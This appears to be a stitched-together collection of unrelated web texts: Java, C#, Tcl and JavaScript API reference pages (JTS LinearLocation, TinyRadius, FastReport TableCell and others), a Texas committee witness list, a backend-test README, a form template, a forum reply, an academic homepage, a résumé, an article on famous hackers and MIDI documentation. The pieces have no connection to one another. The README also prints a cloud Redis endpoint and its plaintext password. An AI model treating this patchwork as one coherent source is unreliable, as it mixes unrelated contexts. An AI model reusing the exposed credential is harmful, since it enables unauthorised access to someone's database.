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java.lang.Object com.vividsolutions.jts.linearref.LinearLocation
public class LinearLocation
Represents a location along a LineString
or MultiLineString
.
The referenced geometry is not maintained within
this location, but must be provided for operations which require it.
Various methods are provided to manipulate the location value
and query the geometry it references.
| Constructor Summary | |
|---|---|
LinearLocation()
Creates a location referring to the start of a linear geometry |
|
LinearLocation(int segmentIndex,
double segmentFraction)
|
|
LinearLocation(int componentIndex,
int segmentIndex,
double segmentFraction)
|
|
LinearLocation(LinearLocation loc)
Creates a new location equal to a given one. |
| Method Summary | |
|---|---|
void |
clamp(Geometry linear)
Ensures the indexes are valid for a given linear Geometry . |
java.lang.Object |
clone()
Copies this location |
int |
compareLocationValues(int componentIndex1,
int segmentIndex1,
double segmentFraction1)
Compares this object with the specified index values for order. |
static int |
compareLocationValues(int componentIndex0,
int segmentIndex0,
double segmentFraction0,
int componentIndex1,
int segmentIndex1,
double segmentFraction1)
Compares two sets of location values for order. |
int |
compareTo(java.lang.Object o)
Compares this object with the specified object for order. |
int |
getComponentIndex()
Gets the component index for this location. |
Coordinate |
getCoordinate(Geometry linearGeom)
Gets the Coordinate along the
given linear Geometry which is
referenced by this location. |
static LinearLocation |
getEndLocation(Geometry linear)
Gets a location which refers to the end of a linear Geometry . |
LineSegment |
getSegment(Geometry linearGeom)
Gets a LineSegment representing the segment of the
given linear Geometry which contains this location. |
double |
getSegmentFraction()
Gets the segment fraction for this location |
int |
getSegmentIndex()
Gets the segment index for this location |
double |
getSegmentLength(Geometry linearGeom)
Gets the length of the segment in the given Geometry containing this location. |
boolean |
isEndpoint(Geometry linearGeom)
Tests whether this location is an endpoint of the linear component it refers to. |
boolean |
isOnSameSegment(LinearLocation loc)
Tests whether two locations are on the same segment in the parent Geometry . |
boolean |
isValid(Geometry linearGeom)
Tests whether this location refers to a valid location on the given linear Geometry . |
boolean |
isVertex()
Tests whether this location refers to a vertex |
static Coordinate |
pointAlongSegmentByFraction(Coordinate p0,
Coordinate p1,
double frac)
Computes the Coordinate of a point a given fraction
along the line segment (p0, p1). |
void |
setToEnd(Geometry linear)
Sets the value of this location to refer to the end of a linear geometry. |
void |
snapToVertex(Geometry linearGeom,
double minDistance)
Snaps the value of this location to the nearest vertex on the given linear Geometry ,
if the vertex is closer than minDistance. |
java.lang.String |
toString()
|
| Methods inherited from class java.lang.Object |
|---|
equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait |
| Constructor Detail |
|---|
public LinearLocation()
public LinearLocation(int segmentIndex, double segmentFraction)
public LinearLocation(int componentIndex, int segmentIndex, double segmentFraction)
public LinearLocation(LinearLocation loc)
loc
- a LinearLocation| Method Detail |
|---|
public static LinearLocation getEndLocation(Geometry linear)
Geometry
.
linear
- the linear geometry
public static Coordinate pointAlongSegmentByFraction(Coordinate p0, Coordinate p1, double frac)
Coordinate
of a point a given fraction
along the line segment (p0, p1).
If the fraction is greater than 1.0 the last
point of the segment is returned.
If the fraction is less than or equal to 0.0 the first point
of the segment is returned.
The Z ordinate is interpolated from the Z-ordinates of the given points,
if they are specified.
p0
- the first point of the line segmentp1
- the last point of the line segmentfrac
- the length to the desired point
public void clamp(Geometry linear)
Geometry
.
linear
- a linear geometrypublic void snapToVertex(Geometry linearGeom, double minDistance)
Geometry
,
if the vertex is closer than minDistance.
linearGeom
- a linear geometryminDistance
- the minimum allowable distance to a vertexpublic double getSegmentLength(Geometry linearGeom)
linearGeom
- a linear geometry
public void setToEnd(Geometry linear)
linear
- the linear geometry to use to set the endpublic int getComponentIndex()
public int getSegmentIndex()
public double getSegmentFraction()
public boolean isVertex()
public Coordinate getCoordinate(Geometry linearGeom)
Coordinate
along the
given linear Geometry
which is
referenced by this location.
linearGeom
- the linear geometry referenced by this location
public LineSegment getSegment(Geometry linearGeom)
LineSegment
representing the segment of the
given linear Geometry
which contains this location.
linearGeom
- a linear geometry
public boolean isValid(Geometry linearGeom)
Geometry
.
linearGeom
- a linear geometry
public int compareTo(java.lang.Object o)
compareTo
in interface java.lang.Comparable
o
- the LineStringLocation
with which this Coordinate
is being compared
LineStringLocation
is less than, equal to, or greater than the specified LineStringLocation
public int compareLocationValues(int componentIndex1, int segmentIndex1, double segmentFraction1)
componentIndex1
- a component indexsegmentIndex1
- a segment indexsegmentFraction1
- a segment fraction
LineStringLocation
is less than, equal to, or greater than the specified locationValuespublic static int compareLocationValues(int componentIndex0, int segmentIndex0, double segmentFraction0, int componentIndex1, int segmentIndex1, double segmentFraction1)
componentIndex0
- a component indexsegmentIndex0
- a segment indexsegmentFraction0
- a segment fractioncomponentIndex1
- another component indexsegmentIndex1
- another segment indexsegmentFraction1
- another segment fraction
public boolean isOnSameSegment(LinearLocation loc)
Geometry
.
loc
- a location on the same geometry
public boolean isEndpoint(Geometry linearGeom)
linearGeom
- the linear geometry referenced by this location
public java.lang.Object clone()
clone
in class java.lang.Object
public java.lang.String toString()
toString
in class java.lang.Object
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These procedures may be used to disassemble and reassemble file paths in a platform independent manner: they provide C-level access to the same functionality as the file split, file join, and file pathtype commands.
Tcl_SplitPath breaks a path into its constituent elements, returning an array of pointers to the elements using argcPtr and argvPtr. The area of memory pointed to by *argvPtr is dynamically allocated; in addition to the array of pointers, it also holds copies of all the path elements. It is the caller's responsibility to free all of this storage. For example, suppose that you have called Tcl_SplitPath with the following code:
int argc; char *path; char **argv; ... Tcl_SplitPath(string, &argc, &argv);Then you should eventually free the storage with a call like the following:
Tcl_Free((char *) argv);
Tcl_JoinPath is the inverse of Tcl_SplitPath: it takes a collection of path elements given by argc and argv and generates a result string that is a properly constructed path. The result string is appended to resultPtr. ResultPtr must refer to an initialized Tcl_DString.
If the result of Tcl_SplitPath is passed to Tcl_JoinPath, the result will refer to the same location, but may not be in the same form. This is because Tcl_SplitPath and Tcl_JoinPath eliminate duplicate path separators and return a normalized form for each platform.
Tcl_GetPathType returns the type of the specified path, where Tcl_PathType is one of TCL_PATH_ABSOLUTE, TCL_PATH_RELATIVE, or TCL_PATH_VOLUME_RELATIVE. See the filename manual entry for a description of the path types for each platform.


new MultipartEncoder()
Initializes a new instance of the class.
- Source:
Methods
decode(str) → {object}
Decodes the provided string and returns an unserialized version of the object with which
the multipart content was created.
Parameters:
| Name | Type | Description |
|---|---|---|
str |
string | the multipart chunk |
- Source:
Throws:
-
-
if the provided parameter is undefined or null
- Type
- Error
-
-
-
if the provided parameter is not a String
- Type
- TypeError
-
Returns:
an object with the properties as serialized in the multipart chunk
- Type
- object
encode(obj) → {string}
Serializes the provided object as a multipart/form-data chunk.
Parameters:
| Name | Type | Description |
|---|---|---|
obj |
object | the object which is to be encoded/serialized |
- Source:
Throws:
-
-
if the provided parameter is undefined or null
- Type
- Error
-
-
-
if the provided parameter is not an Object
- Type
- TypeError
-
Returns:
a string representing the serialized object
- Type
- string


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ACCESS_ACCEPT
- Static variable in class org.tinyradius.packet.
RadiusPacket
ACCESS_CHALLENGE
- Static variable in class org.tinyradius.packet.
RadiusPacket
ACCESS_REJECT
- Static variable in class org.tinyradius.packet.
RadiusPacket
ACCESS_REQUEST
- Static variable in class org.tinyradius.packet.
RadiusPacket
Packet type codes.
AccessRequest
- Class in
org.tinyradius.packet
This class represents an Access-Request Radius packet.
AccessRequest()
- Constructor for class org.tinyradius.packet.
AccessRequest
Constructs an empty Access-Request packet.
AccessRequest(String, String)
- Constructor for class org.tinyradius.packet.
AccessRequest
Constructs an Access-Request packet, sets the code, identifier and adds an User-Name and an User-Password attribute (PAP).
accessRequestReceived(AccessRequest, InetSocketAddress)
- Method in class org.tinyradius.util.
RadiusServer
Constructs an answer for an Access-Request packet.
account(AccountingRequest)
- Method in class org.tinyradius.util.
RadiusClient
Sends an Accounting-Request packet and receives a response packet.
ACCOUNTING_MESSAGE
- Static variable in class org.tinyradius.packet.
RadiusPacket
ACCOUNTING_REQUEST
- Static variable in class org.tinyradius.packet.
RadiusPacket
ACCOUNTING_RESPONSE
- Static variable in class org.tinyradius.packet.
RadiusPacket
ACCOUNTING_STATUS
- Static variable in class org.tinyradius.packet.
RadiusPacket
AccountingRequest
- Class in
org.tinyradius.packet
This class represents a Radius packet of the type "Accounting-Request".
AccountingRequest(String, int)
- Constructor for class org.tinyradius.packet.
AccountingRequest
Constructs an Accounting-Request packet to be sent to a Radius server.
AccountingRequest()
- Constructor for class org.tinyradius.packet.
AccountingRequest
Constructs an empty Accounting-Request to be received by a Radius client.
accountingRequestReceived(AccountingRequest, InetSocketAddress)
- Method in class org.tinyradius.util.
RadiusServer
Constructs an answer for an Accounting-Request packet.
ACCT_STATUS_TYPE_ACCOUNTING_OFF
- Static variable in class org.tinyradius.packet.
AccountingRequest
Acct-Status-Type: Accounting-Off
ACCT_STATUS_TYPE_ACCOUNTING_ON
- Static variable in class org.tinyradius.packet.
AccountingRequest
Acct-Status-Type: Accounting-On
ACCT_STATUS_TYPE_INTERIM_UPDATE
- Static variable in class org.tinyradius.packet.
AccountingRequest
Acct-Status-Type: Interim Update/Alive
ACCT_STATUS_TYPE_START
- Static variable in class org.tinyradius.packet.
AccountingRequest
Acct-Status-Type: Start
ACCT_STATUS_TYPE_STOP
- Static variable in class org.tinyradius.packet.
AccountingRequest
Acct-Status-Type: Stop
addAttribute(RadiusAttribute)
- Method in class org.tinyradius.packet.
RadiusPacket
Adds a Radius attribute to this packet.
addAttribute(String, String)
- Method in class org.tinyradius.packet.
RadiusPacket
Adds a Radius attribute to this packet.
addAttributeType(AttributeType)
- Method in class org.tinyradius.dictionary.
MemoryDictionary
Adds an AttributeType object to the cache.
addAttributeType(AttributeType)
- Method in interface org.tinyradius.dictionary.
WritableDictionary
Adds an AttributeType object to the dictionary.
addEnumerationValue(int, String)
- Method in class org.tinyradius.dictionary.
AttributeType
Adds a name for an integer value of this attribute.
addSubAttribute(RadiusAttribute)
- Method in class org.tinyradius.attribute.
VendorSpecificAttribute
Adds a sub-attribute to this attribute.
addSubAttribute(String, String)
- Method in class org.tinyradius.attribute.
VendorSpecificAttribute
Adds a sub-attribute with the specified name to this attribute.
addVendor(int, String)
- Method in class org.tinyradius.dictionary.
MemoryDictionary
Adds the given vendor to the cache.
addVendor(int, String)
- Method in interface org.tinyradius.dictionary.
WritableDictionary
Adds the given vendor to the dictionary.
AttributeType
- Class in
org.tinyradius.dictionary
Represents a Radius attribute type.
AttributeType(int, String, Class)
- Constructor for class org.tinyradius.dictionary.
AttributeType
Create a new attribute type.
AttributeType(int, int, String, Class)
- Constructor for class org.tinyradius.dictionary.
AttributeType
Constructs a Vendor-Specific sub-attribute type.
AUTH_CHAP
- Static variable in class org.tinyradius.packet.
AccessRequest
Challenged Handshake Authentication Protocol
AUTH_PAP
- Static variable in class org.tinyradius.packet.
AccessRequest
Passphrase Authentication Protocol
authenticate(String, String)
- Method in class org.tinyradius.util.
RadiusClient
Authenticates a user.
authenticate(AccessRequest)
- Method in class org.tinyradius.util.
RadiusClient
Sends an Access-Request packet and receives a response packet.
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WITNESS LIST Health & Human Services Committee March 1, 2006 - 2:00P Charge #10, relating to H.B.2292, 78R ON: Cockerell, Carey Commissioner (Texas Department of Family and Protective Services), Austin, TX Hawkins, Albert Executive Commissioner (Texas Health and Human Services Commission), Austin, TX Horn, Adelaide Commissioner (Texas Department of Aging and Disability Services), Austin, TX Murphy, Terrell Commissioner (Texas Department of Assistive and Rehabilitative Services), Austin, TX Sanchez, Eduardo Commissioner (Texas Department of State Health Services), Austin, TX


Interface IPriorityQueue<TItem, TPriority>
The IPriorityQueue interface. This is mainly here for purists, and in case I decide to add more implementations later. For speed purposes, it is actually recommended that you don't access the priority queue through this interface, since the JIT can (theoretically?) optimize method calls from concrete-types slightly better.
Namespace: System.Dynamic.ExpandoObject
Syntax
public interface IPriorityQueue<TItem, in TPriority>
where TPriority : IComparable<TPriority>
Type Parameters
|
TItem
|
|
TPriority
|
Properties
Count
Returns the number of nodes in the queue.
Declaration
int Count { get; }
Property Value
|
System.Int32
|
First
Returns the head of the queue, without removing it (use Dequeue() for that).
Declaration
TItem First { get; }
Property Value
|
TItem
|
Methods
Clear()
Removes every node from the queue.
Declaration
void Clear()
Contains(TItem)
Returns whether the given node is in the queue.
Declaration
bool Contains(TItem node)
Parameters
|
TItem
node
|
Returns
|
System.Boolean
|
Dequeue()
Removes the head of the queue (node with minimum priority; ties are broken by order of insertion), and returns it.
Declaration
TItem Dequeue()
Returns
|
TItem
|
Enqueue(TItem, TPriority)
Enqueue a node to the priority queue. Lower values are placed in front. Ties are broken by first-in-first-out. See implementation for how duplicates are handled.
Declaration
void Enqueue(TItem node, TPriority priority)
Parameters
|
TItem
node
|
|
TPriority
priority
|
Remove(TItem)
Removes a node from the queue. The node does not need to be the head of the queue.
Declaration
void Remove(TItem node)
Parameters
|
TItem
node
|
UpdatePriority(TItem, TPriority)
Call this method to change the priority of a node.
Declaration
void UpdatePriority(TItem node, TPriority priority)
Parameters
|
TItem
node
|
|
TPriority
priority
|


AhmadMardianaBackEndTest
MongoDB, using MongoDb Cloud :
Connect with mongo Compas<EMAIL_ADDRESS>Redis, using RedisLab Cloud :
endpoint : redis-12149.c246.us-east-1-4.ec2.cloud.redislabs.com:12149
pass : dyhVbwu9YI3a7JoLggE1oPNMpp9S3yxe
note : redis only as replicate mongoDb, not caching query
=================================================================
API Documentation :
GET /generate-token, for generating token
GET /user , for getting all user
POST /user , for creating new user
GET /user/account-number/[Account Number] , for find user by Account Number
GET /user/identity-number/[Idenntity Number], for find user by Identity Number
PUT /user/[id] , for updating user data
DELETE /user/[id], for deleting user
================================================================


Your response
| How they responded | task status |
|---|---|
| View the defendant's response | {% if data.their_response=="complete" %} {% include "includes/task_status_finished.html" %} {% else %} {% include "includes/task_status_incomplete.html" %} {% endif %} |
| How do you want to respond? | |
|---|---|
| Accept or reject their response | {% if data.defence=="complete" %} {% include "includes/task_status_finished.html" %} {% else %} {% include "includes/task_status_incomplete.html" %} {% endif %} |
| Free telephone mediation | {% if data.mediation=="complete" %} {% include "includes/task_status_finished.html" %} {% else %} {% include "includes/task_status_incomplete.html" %} {% endif %} |
{% if data.radio_select_group=="No" %}
| Tell us more about the claim | |
|---|---|
| Give us details in case there's a hearing | {% if data.hearing=="complete" %} {% include "includes/task_status_finished.html" %} {% else %} {% include "includes/task_status_incomplete.html" %} {% endif %} |
{% endif %} {% set completed = true if data.resolve_dispute == "complete" and data.your_details == "complete" and data.their_details == "complete" and data.claim_amount == "complete" and data.claim_details == "complete" and data.eligibility == "complete"%}
| Submit | |
|---|---|


what do i need other then google chrome to download bblog
ORFK
Global Moderator
BBLog works only with Chrome or Firefox.
If you download the Chrome Version, you have to drop the downloaded file to the "Add-On" Page and than it will be automaticly installed right.


Gautam Singh
<EMAIL_ADDRESS>· CV · Twitter · LinkedIn · Github · Scholar
I am a Ph.D. candidate in the Department of Computer Science at Rutgers University, advised by Prof. Sungjin Ahn.
I am interested in perception and generative modeling in unstructured modalities (e.g., vision), focusing on compositionality and out-of-distribution (OOD) generalization. I pursue unsupervised learning approaches for harnessing the full potential of all available data and large-scale training. Toward perception, my focus is on how to extract reusable and composable primitives such as objects and attributes from raw observations. Toward generative modeling, I am interested in building compositional world models for applications in agent learning.
I spent the summer of 2021 as an Applied Scientist Intern at Amazon. Before starting a Ph.D. in 2018, I worked at IBM Research India. In 2015, I received a Bachelor of Technology degree from IIT Guwahati. I also spent a summer at KAIST as a research intern in 2014.
Recent News
- May 2023: Gave a talk at the Toronto AI in Robotics (AIR) seminar, focusing on representation learning for systematic generalization. YouTube link here!
- Feb 2023: We have released the code and datasets for our recent work Neural Systematic Binder here!
- Jan 2023: Our recent work, Neural Systematic Binder, has been accepted at ICLR 2023.
Selected Publications
- Neural Systematic Binder
- Simple Unsupervised Object-Centric Learning for Complex and Naturalistic Videos
- Illiterate DALL-E Learns to Compose
- Structured World Belief for Reinforcement Learning in POMDP
- Robustifying Sequential Neural Processes
- Jaesik Yoon, Gautam Singh, Sungjin Ahn
- ICML 2020 [pdf]
- SPACE: Unsupervised Object-Oriented Scene Representation via Spatial Attention and Decomposition
- Sequential Neural Processes
Other Publications
- Object-Centric Slot Diffusion
- Jindong Jiang, Fei Deng, Gautam Singh, Sungjin Ahn
- arXiv preprint [pdf]
Media
Service
- Conference Reviewer: NeurIPS23, ICLR23, NeurIPS22, ICML22
- Workshop Reviewer: OSC@ICLR22


Highly motivated Trainee Developer with strong theoretical knowledge. Focused on improving programming and development skills. My goal is to become expert in my field
Skills Rename
HTML
Excellent
CSS
Excellent
CSS Preprocessors
Very Good
JavaScript
Very Good
JQuery
Good
Contror Version Systems(git)
Good
Responsive Design
Very Good
Object-Oriented Programming
Good
Education Rename
2019-09 - Current
Software EngineeringOdesa National Polytechnic University - Odesa, Ukraine
2020-10 - Current
Front-End DevelopmentIT School "Hillel" - Odesa, Ukraine


Kevin Mitnick
Top of the world-famous hacker list is Kevin Mitnick. The US Department of Justice called him the "most wanted computer criminal in US history." Kevin Mitnick's story is so wild that it was even the basis for a featured film called Track Down.
After serving a year in prison for hacking into the Digital Equipment Corporation's network, he was let out for three years of supervised release. But near the end of that period, he fled and went on a two and a half year hacking spree that involved breaching the national defense warning system and stealing corporate secrets. Mitnick was eventually caught and convicted with a five-year prison sentence.
After fully serving those years, he became a consultant and public speaker for computer security. He now runs Mitnick Security Consulting, LLC.
Jonathan James
The story of Jonathan James, known as "c0mrade," is a tragic one. He began hacking at a young age, managing to hack into several commercial and government networks and was sent to prison for it—all while he was still a minor.
James eventually hacked into NASA's network and downloaded enough source code (assets equaling $1.7 million at the time) to learn how the International Space Station worked. NASA had to shut down its network for three entire weeks while they investigated the breach, costing an additional $41,000.
In 2007 several high-profile companies fell victim to numerous malicious network attacks. Even though James denied any involvement, he was suspected and investigated. In 2008, James committed suicide, believing he would be convicted of crimes he didn't commit.
Albert Gonzalez
Albert Gonzalez is another of the best hackers in the world. He started off as the leader of a hacker group called ShadowCrew. In addition to stealing and selling credit card numbers, ShadowCrew also fabricated fraudulent passports, health insurance cards, and birth certificates for identity theft crimes.
Albert Gonzalez paved his way to internet fame when he collected more than 170 million credit card and ATM card numbers over a period of two years. He then hacked into the databases of TJX Companies and Heartland Payment Systems to steal all of their stored credit card numbers as well. Gonzalez was sentenced to prison for 20 years (two sentences of 20 years to be served simultaneously) and is scheduled for release in 2025.
Kevin Poulsen
Kevin Poulsen, also known as "Dark Dante," earned his 15 minutes of fame by utilizing his intricate knowledge of telephone systems. At one point, he hacked a radio station's phone lines and fixed himself as the winning caller, earning him a brand-new Porsche. The media dubbed him the "Hannibal Lecter of computer crime."
Poulsen got himself onto the FBI's wanted list when he hacked into federal systems and stole wiretap information. He was later captured in a supermarket (of all places) and sentenced to 51 months in prison and a bill for $56,000 in restitution.
Poulsen changed his ways after being released from prison in 1995. He began working as a journalist and is now a contributing editor for Wired. In 2006, he even helped law enforcement to identify 744 sex offenders on MySpace.
Gary McKinnon
Gary McKinnon, known as "Solo" on the internet, allegedly coordinated what would become the largest military computer hack of all time. Over a 13-month period from February 2001 to March 2002, McKinnon illegally accessed 97 computers belonging to the US Armed Forces and NASA. He claimed he was only searching for information on free energy suppression and UFO cover-ups, but according to US authorities, he deleted a number of critical files and rendered over 300 computers inoperable, resulting in over $700,000 in damages.
Being of Scottish descent and operating out of the United Kingdom, McKinnon was able to dodge the American government until 2005, when he faced extradition. After a series of appeals, the British Prime Minister at the time, Theresa May, blocked his extradition on the grounds that he was "seriously ill" and that extradition would be "incompatible with [his] human rights."


Class TableCell
Represents a table cell.
Inheritance
Inherited Members
Namespace: FastReport.Table
Assembly: FastReport.OpenSource.dll
Syntax
public class TableCell : TextObject, IFRSerializable, IParent
Remarks
Use ColSpan, RowSpan properties to set the cell's column and row spans. To put an object inside the cell, use its Objects property:
TableCell cell1;
PictureObject picture1 = new PictureObject();
picture1.Bounds = new RectangleF(0, 0, 32, 32);
picture1.Name = "Picture1";
cell1.Objects.Add(picture1);
Constructors
TableCell()
Initializes a new instance of the TableCell class.
Declaration
public TableCell()
Properties
AbsLeft
Gets the absolute left coordinate of the object.
Declaration
public override float AbsLeft { get; }
Property Value
| Type | Description |
|---|---|
| System.Single |
Overrides
AbsTop
Gets the absolute top coordinate of the object.
Declaration
public override float AbsTop { get; }
Property Value
| Type | Description |
|---|---|
| System.Single |
Overrides
Address
Gets the address of this cell.
Declaration
public Point Address { get; }
Property Value
| Type | Description |
|---|---|
| Point |
ColSpan
Gets or sets the column span for this cell.
Declaration
public int ColSpan { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Int32 |
Height
This property is not relevant to this class.
Declaration
public override float Height { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Single |
Overrides
Objects
Gets a collection of objects contained in this cell.
Declaration
public ReportComponentCollection Objects { get; }
Property Value
| Type | Description |
|---|---|
| ReportComponentCollection |
RowSpan
Gets or sets the row span for this cell.
Declaration
public int RowSpan { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Int32 |
Table
Gets the TableBase object which this cell belongs to.
Declaration
public TableBase Table { get; }
Property Value
| Type | Description |
|---|---|
| TableBase |
Text
Gets or sets the object's text.
Declaration
public override string Text { get; set; }
Property Value
| Type | Description |
|---|---|
| System.String |
Overrides
Remarks
Text may contain expressions and data items, for example: "Today is [Date]". When report is running, all expressions are calculated and replaced with actual values, so the text would be "Today is 01.01.2008".
Width
This property is not relevant to this class.
Declaration
public override float Width { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Single |
Overrides
Methods
AddChild(Base)
Adds a child object to this object's childs.
Declaration
public void AddChild(Base child)
Parameters
| Type | Name | Description |
|---|---|---|
| Base | child | Object to add. |
Assign(Base)
Copies the contents of another, similar object.
Declaration
public override void Assign(Base source)
Parameters
| Type | Name | Description |
|---|---|---|
| Base | source | Source object to copy the contents from. |
Overrides
Remarks
Call Assign to copy the properties from another object of the same type. The standard form of a call to Assign is
destination.Assign(source);
which tells the destination object to copy the contents of the source object to itself. In this method, all child objects are ignored. If you want to copy child objects, use the AssignAll(Base) method.
See Also
CanContain(Base)
Gets a value indicating that this object can contain the specified child object.
Declaration
public bool CanContain(Base child)
Parameters
| Type | Name | Description |
|---|---|---|
| Base | child | Child object. |
Returns
| Type | Description |
|---|---|
| System.Boolean | true if this object can contain the specified child object; otherwise, false. |
Clone()
Creates the exact copy of this cell.
Declaration
public TableCell Clone()
Returns
| Type | Description |
|---|---|
| TableCell | The copy of this cell. |
Equals(TableCell)
Determines if two cells have identical settings.
Declaration
public bool Equals(TableCell cell)
Parameters
| Type | Name | Description |
|---|---|---|
| TableCell | cell | Cell to compare with. |
Returns
| Type | Description |
|---|---|
| System.Boolean | true if cells are equal. |
GetChildObjects(ObjectCollection)
Gets a list of child objects.
Declaration
public void GetChildObjects(ObjectCollection list)
Parameters
| Type | Name | Description |
|---|---|---|
| ObjectCollection | list | List to fill with values. |
GetChildOrder(Base)
Returns z-order of the specified child object.
Declaration
public int GetChildOrder(Base child)
Parameters
| Type | Name | Description |
|---|---|---|
| Base | child | Child object. |
Returns
| Type | Description |
|---|---|
| System.Int32 | Z-order of the specified object. |
Remarks
This method must return the index of a specified child object in the internal child list.
GetData()
Gets the data from a datasource that the object is connected to.
Declaration
public override void GetData()
Overrides
Remarks
This method is called by the report engine before processing the object.
Do not call it directly. You may override it if you are developing a new FastReport component. In this method you should get the data from a datasource that the object is connected to.
GetExpressions()
Gets all expressions contained in the object.
Declaration
public override string[] GetExpressions()
Returns
| Type | Description |
|---|---|
| System.String[] | Array of expressions or null if object contains no expressions. |
Overrides
Remarks
Do not call this method directly. You may override it if you are developing a new component for FastReport.
This method is called by FastReport each time before run a report. FastReport do this to collect all expressions and compile them. For example, GetExpressions method of the TextObject class parses the text and returns all expressions found in the text.
RemoveChild(Base)
Removes a specified object from this object's childs.
Declaration
public void RemoveChild(Base child)
Parameters
| Type | Name | Description |
|---|---|---|
| Base | child |
RestoreState()
Restores the object's state after printing it.
Declaration
public override void RestoreState()
Overrides
Remarks
This method is called by the report engine after processing the object.
Do not call it directly. You may override it if you are developing a new FastReport component. In this method you should restore the object properties that were saved by the SaveState() method.
SaveState()
Saves the object's state before printing it.
Declaration
public override void SaveState()
Overrides
Remarks
This method is called by the report engine before processing the object.
Do not call it directly. You may override it if you are developing a new FastReport component. In this method you should save any object properties that may be changed during the object printing. The standard implementation saves the object's bounds, visibility, bookmark and hyperlink.
Serialize(FRWriter)
Serializes the object.
Declaration
public override void Serialize(FRWriter writer)
Parameters
| Type | Name | Description |
|---|---|---|
| FRWriter | writer | Writer object. |
Overrides
Remarks
Do not call this method directly. You should override it if you are developing a new component for FastReport.
This method is called when the object needs to save the state. It may happen when:
- saving the report to the file or stream;
- saving the report to the designer's undo buffer;
- assigning the object to another object using the Assign(Base) or AssignAll(Base) methods;
- saving the object to the designer's clipboard;
- saving the object to the preview (when run a report).
SetChildOrder(Base, Int32)
Sets the z-order of the specified object.
Declaration
public void SetChildOrder(Base child, int order)
Parameters
| Type | Name | Description |
|---|---|---|
| Base | child | Child object. |
| System.Int32 | order | New Z-order. |
Remarks
This method must place the specified child object at the specified position in the internal child list.
SetStyle(TableCell)
Changes the cell's style.
Declaration
public void SetStyle(TableCell style)
Parameters
| Type | Name | Description |
|---|---|---|
| TableCell | style | The new style. |
Remarks
Each cell in a dynamic table object (or in a matrix) has associated style. Several cells may share one style. If you try to change the cell's appearance directly (like setting cell.TextColor), it may affect other cells in the table. To change the single cell, use this method.
UpdateLayout(Single, Single)
Updates the children layout when the size of this object is changed by dx, dy values.
Declaration
public void UpdateLayout(float dx, float dy)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Single | dx | X delta. |
| System.Single | dy | Y delta. |
Remarks
This method must update positions/sizes of child objects whose Dock or Anchor properties are set to non-default values.


OwaCalorie
Clear Dashboard
Add Calorie/Meal
Meal
Calorie
Add Meal
Update Meal
Delete
Back
Total Calories:
0


In the Dungeons and Dragons game, each player creates an adventurer (also called a character) and teams up with other adventurers (played by friends).


It wasn't long ago that everybody thought "Continuous Deliver" was only for tech companies. It is amazing how much things have changed over the past two years. More and more enterprises are exploring what it will take to achieve Continuous Delivery and Continuous Deployment for their core customer facing applications. The challenge for these companies is that many of the practices and processes they have put in place over the years stand in the way of achieving this goal. From rigorous engineering practices, to a very different view on product ownership, to organizational restructuring, to streamline the software development pipeline, Continuous Delivery .i.e. the ability to reliably release software at any time requires a significant shift in the mindset.
Join Cheezy as points out several Continuous Deliver anti-patterns and how to avoid or eliminate these patterns within your organization in order to align your development value stream, operations, release management, and product owners. If you want to know what it takes to achieve Continuous Deliver then this is one talk that you will not want to miss.


This section lists all the {_NRPN} messages understood by the Digital Chroma, explains their content, and lists what {MIDI_dialects dialects} they are meaningful in.
External devices send messages to the Digital Chroma to make it do things. The instrument can be played via Note On/Off and various controls, but NRPNs are used for things like program operations (beyond Program Select), or parameter changes.
The Digital Chroma sends messages to other devices to tell it what it is doing. When the instrument is played, it can send Note On/Off and various controls, but it uses NRPNs to report program operations and parameter changes.
NRPNs are primarily used in the Editor dialects, so that an editor like the Toolkit can control the Digital Chroma and also track operations that are performed directly on the instrument's control panel. When it sends a message to the Digital Chroma, the instrument obeys it, and then sends back the same message it would have sent had the operation been invoked directly on its control panel. This guarantees that if operations are done by the Toolkit and on the control panel, the Toolkit will receive them in the order they are actually processed by the instrument, guaranteeing that the Toolkit and the Digital Chroma remain synchronized.
Some NRPNs are used as queries to the Digital Chroma, and send back messages that specifically respond to these queries. For instance, the Program Read NRPN causes the Digital Chroma to send back a Program Write NRPN preceded by a {MIDI_program_sysex program Sysex} containing the actual program data from a specific program file. This response is in the same form as an external device would send into the Digital Chroma in order to write that file. The NRPN MSB of a query is always 64 higher than the NRPN MSB of the response.
There are also a few miscellaneous queries and responses having nothing to do with playing. The complete set of operations, with queries in the second column, is:
| {MIDI_Program_Change} | ||
| {MIDI_Program_Load_No_Link} | ||
| {MIDI_Program_Store} | ||
| {MIDI_Program_Exchange} | ||
| {MIDI_Program_Copy} | ||
| {MIDI_Program_Move} | ||
| {MIDI_Program_Swap} | ||
| {MIDI_Program_Set} | {MIDI_Program_Get} | |
| {MIDI_Program_Set_Metadata} | {MIDI_Program_Get_Metadata} | |
| {MIDI_Program_Set_Attributes} | {MIDI_Program_Get_Attributes} | |
| {MIDI_Program_Write} | {MIDI_Program_Read} | |
| {MIDI_Program_Write_Metadata} | {MIDI_Program_Read_Metadata} | |
| {MIDI_Program_Write_Attributes} | {MIDI_Program_Read_Attributes} | |
| {MIDI_Parameter_Set} | {MIDI_Parameter_Get} | |
| {MIDI_Clock_Set} | {MIDI_Clock_Get} | |
| {MIDI_Edit_Response} | {MIDI_Edit_Request} | |
| {MIDI_Undo_Redo_Status} | {MIDI_Undo_Redo_Request} |


Defines whether to search for phase boundaries in stepping or Scheil-Gulliver calculations.
int jmpSetPhaseBoundariesSearch (int booleanFlag);
booleanFlag [input]
Integer that specifies whether to locate phase boundaries (i.e., the temperature or concentration values at which phases appear or disappear) when running a Solver stepping or Scheil-Gulliver calculation. Possible values are JMP_FLAG_TRUE
or JMP_FLAG_FALSE
, respectively to perform the search or not.
JMP_STATUS_OK |
Request has been successfully completed. |
JMP_STATUS_ERROR |
An error has occurred. |
JMP_FLAG_FALSE
will generally lead to faster and less error-prone calculations.| Headers | jmpcore.h jmpsolver.h |
| Library | jmpsolver.lib /jmpsolver_x64.lib |
| DLL | jmpsolver.dll /jmpsolver_x64.dll |


Create an play.api.libs.iteratee.Iteratee which consumes and concatenates all Input chunks
Create an play.api.libs.iteratee.Iteratee which consumes and concatenates all Input chunks
Example:
// Get all chunks of input def getAll: Iteratee[Array[Byte], Array[Byte]] = Iteratee.consume[Array[Byte]]()
Chunks type should be viewable as TraversableOnce
